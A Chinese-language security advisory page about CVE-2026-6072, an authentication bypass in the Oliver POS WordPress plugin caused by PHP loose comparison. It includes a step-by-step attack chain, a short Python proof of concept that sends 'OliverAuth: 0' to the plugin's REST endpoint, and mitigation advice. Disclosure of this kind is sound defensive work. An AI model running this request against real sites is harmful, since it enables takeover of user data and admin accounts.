IPBUF安全漏洞报告
English
CVE-2026-6072 CVSS 6.5 中危

CVE-2026-6072 Oliver POS权限绕过漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-6072
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Oliver POS (WordPress Plugin)

相关标签

权限绕过WordPressOliver POS类型混淆CVE-2026-6072

漏洞概述

Oliver POS插件存在权限绕过漏洞。由于该插件在认证校验时使用了PHP弱类型比较,攻击者可以利用此特性绕过身份验证。当管理员未完成连接流程时,特定配置项为空,攻击者通过发送构造的HTTP请求头即可绕过认证。这导致未经身份验证的攻击者可以完全访问POS API端点,从而读取敏感用户数据、修改用户资料(包括管理员邮箱)以及删除非管理员用户,严重威胁网站安全。

技术细节

该漏洞源于WordPress插件“Oliver POS”中的`oliver_pos_rest_authentication`权限回调函数。该函数使用PHP的松散比较运算符(==)来比对攻击者提供的请求头'OliverAuth'与数据库中的'oliver_pos_authorization_token'选项。在全新安装且管理员尚未完成连接流程的情况下,'oliver_pos_authorization_token'选项未设置,`get_option`函数返回布尔值`false`。由于PHP的类型转换机制,字符串`'0'`与布尔值`false`进行松散比较(`'0' == false`)时结果为真。因此,攻击者只需在HTTP请求头中添加`OliverAuth: 0`,即可欺骗服务器通过认证检查,进而无需凭证即可访问受保护的REST API接口。

攻击链分析

STEP 1
步骤1:侦察
识别目标站点是否安装了Oliver POS插件,并确定其版本在2.4.2.6及以下。
STEP 2
步骤2:发送恶意请求
向受保护的REST API端点(如/wp-json/pos-bridge/*)发送HTTP请求,并在请求头中添加'OliverAuth: 0'。
STEP 3
步骤3:绕过认证
服务器端PHP代码将'0'与false进行弱类型比较,结果为真,从而绕过身份验证。
STEP 4
步骤4:利用数据
利用获取的API权限读取用户数据、修改管理员邮箱或删除用户,进而接管站点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "https://example.com/wp-json/pos-bridge/v1/users" headers = { "OliverAuth": "0", # Exploit PHP type juggling '0' == false "Content-Type": "application/json" } response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Data retrieved:") print(response.text) else: print("[-] Exploit failed.")

影响范围

Oliver POS <= 2.4.2.6

防御指南

临时缓解措施
建议立即将Oliver POS插件更新至修复了该漏洞的最新版本。如果暂时无法更新,应禁用插件或通过Web应用防火墙(WAF)拦截包含特定OliverAuth头部的请求,以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表